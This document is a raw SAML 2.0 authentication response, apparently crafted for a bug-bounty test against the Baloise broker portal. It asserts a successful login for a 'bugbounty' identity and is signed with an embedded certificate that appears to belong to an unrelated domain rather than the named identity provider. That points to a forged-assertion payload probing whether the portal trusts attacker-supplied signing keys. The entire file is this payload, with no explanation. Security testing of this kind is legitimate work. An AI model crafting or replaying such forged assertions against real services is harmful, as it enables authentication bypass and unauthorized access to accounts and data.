<?xml version='1.0' encoding='UTF-8'?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="_fe2e702392864bf6a926afd5f6ece8fb" Version="2.0" IssueInstant="2026-11-15T01:41:54Z" Destination="https://va.baloise.de/auth/rest/public/baloise/saml2/transform"><saml:Issuer>https://portal.easy-login.de/auth-portal</saml:Issuer><ds:Signature><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#_fe2e702392864bf6a926afd5f6ece8fb"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>skjI6GaJcI8x9F0u4SX2AALGbwk4Yo1I0gUP/12b680=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>x+0fmyksHxJfyb7CL84Q2x15VMd/jG0fDpPD/eF0qO3UrODztZAEkZb25v975h/oCsCLm9ZmJXsjsYOZz64yVIj0fsRwwOq/RmLglXpcACswC680PmbtNGJOps/Sv+lTGdq3Yr/WIkeApuJ2Ft0vpXDIPjjzmdWxH1wti5Yiunwf+y76vDf59Nzh/wPa5wueVzBSmF+p249LJDB1kZ7IuQBZ/wi2IToZAojhlq0tIsd19ljbnvpx1jY/hUMpEevGpS0E3BqlMxgW47wGPE/3wKqtOWYYYZGJ8yMxZUOoUR05J0CstG5WgacwuNemwKMFAaIvGgwvjt/jxbfUfZNm+w==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIIE7TCCA9WgAwIBAgISBkOzmYtgrRJ13hnLsmGTZ0nfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYxMTE1MDA0MTM2WhcNMjcwMjEzMDA0MTM1WjAYMRYwFAYDVQQD
Ew03NHItM3A4LjliLmF1MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
z17K9FdfrxZ3HTab3HfbSN1w8NFH1qiXcf7B61KRKvwg2S+wp3xKYVp8X5OsqVjW
1Ndq05PRBTUt64Invz8mhH7cSHv4En5EHdnywXNtqHMbZyw9ygvR4r9ve6vRkLo7
ZYsIRuVv646Hxd0IVhyYwAZrZAyAU2Zr/cYPXLH/GuAoB1zmnSPeld4/fA6F4vhk
M6HlGs7Xo3yonG2otN2XcdyLuABTF5Xr9RDZWto6nMqwLZvF6MSu9BDjMRlQQxXG
4YAgDOD41FSMoY91rbBpwwxNh0xjRk4qinag9pRdv5BvilvFvxeG77MV6TZzioMu
VmvLcdSAehjFl4SGMsIfZwIDAQABo4ICFDCCAhAwDgYDVR0PAQH/BAQDAgWgMBMG
A1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFM7OfFhw
pONfauVU8kqE6P+16DpxMB8GA1UdIwQYMBaAFB8vNb5GFILNQLGueSxVePr31Gj7
MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMS5pLmxlbmNy
Lm9yZy8wGAYDVR0RBBEwD4INNzRyLTNwOC45Yi5hdTATBgNVHSAEDDAKMAgGBmeB
DAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8veXIxLmMubGVuY3Iub3JnLzk2
LmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB3AEaiOWfGDbZGh8ZvPfmZlHaT
pqYRIIRX1VXn49Ch2bZGAAABodzcntUAAAQDAEgwRgIhAP6mVNH+DdlmdjoG+jzD
rd5hjQ4+4hbT2/KyeEkeEeqvAiEAqjwJRbTx6L+3Z35Bu6WE4G3k9Og74EJOqfEK
auH1ODkAdgBgTJqven93XwHUBvySDciZ6wscffjJUhv6+hd3O5eLyQAAAaHc3JvU
AAAEAwBHMEUCIDykhRrJC/G9uX2QCu0F5NOm9fyoH18FV8cx4v/aClp4AiEAlJKw
0wkOM4zSqLYIKvuuczvUXfRRVaR1pjD++QylB+kwDQYJKoZIhvcNAQELBQADggEB
ABZItGhsEOwCzF2+vDn689XhJgAKCaPG7EANCzqGwZkdXjHz7JmUy+kt6ZZmP4vd
IFPB00aKzS7FqPMGeuNMeowQsj32ojcqlwdalPhKEaiV7cxVpdCMMeX6LKohLlM5
AO9FrMmCJkqdvYYXipM1mSePKnXXIvnDVm0h9HOXlaYL2A1s53sb3CJRA4A9GkxJ
ETMye988kZ3Iw8GpstnI82g7DkKmJDS5eBNH328ZwAtihMA0fnM2SOFulBguvsFi
01/7xVmbIHBcKyvz17dI2d4pRx9ZqIGPqf89Nnc+5XzZW28FBTr3HW3OYvKIRkLP
CsAJh/PrewTak22SvsOjDbg=
</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion ID="_77f0816e8a8d48998b096c934f0a4c5a" Version="2.0" IssueInstant="2026-11-15T01:41:54Z"><saml:Issuer>https://portal.easy-login.de/auth-portal</saml:Issuer><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">bugbounty-dwbzn</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData Recipient="https://va.baloise.de/auth/rest/public/baloise/saml2/transform" NotOnOrAfter="2026-11-15T01:51:54Z"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2026-11-15T01:39:54Z" NotOnOrAfter="2026-11-15T01:51:54Z"><saml:AudienceRestriction><saml:Audience>https://va.baloise.de</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2026-11-15T01:41:54Z" SessionIndex="bugbounty-5019647fee6b421eadf280040e6e2db7"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement><saml:AttributeStatement><saml:Attribute Name="urn:tgic:names:ISTS:1.0:user:PartnerId" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"><saml:AttributeValue>bugbounty-dwbzn</saml:AttributeValue></saml:Attribute><saml:Attribute Name="urn:tgic:names:ISTS:1.0:user:PartnerID" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"><saml:AttributeValue>bugbounty-dwbzn</saml:AttributeValue></saml:Attribute><saml:Attribute Name="urn:tgic:names:ISTS:1.0:user:WebserviceId" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"><saml:AttributeValue>baloise-maklerportal</saml:AttributeValue></saml:Attribute><saml:Attribute Name="urn:tgic:names:ISTS:1.0:service:WebserviceId" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"><saml:AttributeValue>baloise-maklerportal</saml:AttributeValue></saml:Attribute><saml:Attribute Name="PartnerId" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"><saml:AttributeValue>bugbounty-dwbzn</saml:AttributeValue></saml:Attribute><saml:Attribute Name="PartnerID" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"><saml:AttributeValue>bugbounty-dwbzn</saml:AttributeValue></saml:Attribute><saml:Attribute Name="WebserviceId" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"><saml:AttributeValue>baloise-maklerportal</saml:AttributeValue></saml:Attribute><saml:Attribute Name="Identifier" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"><saml:AttributeValue>bugbounty-dwbzn</saml:AttributeValue></saml:Attribute><saml:Attribute Name="UserToken" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"><saml:AttributeValue>bugbounty-user-token</saml:AttributeValue></saml:Attribute><saml:Attribute Name="SessionToken" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"><saml:AttributeValue>bugbounty-session-token</saml:AttributeValue></saml:Attribute><saml:Attribute Name="mail" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"><saml:AttributeValue>bugbounty-dwbzn@invalid.example</saml:AttributeValue></saml:Attribute></saml:AttributeStatement></saml:Assertion></samlp:Response>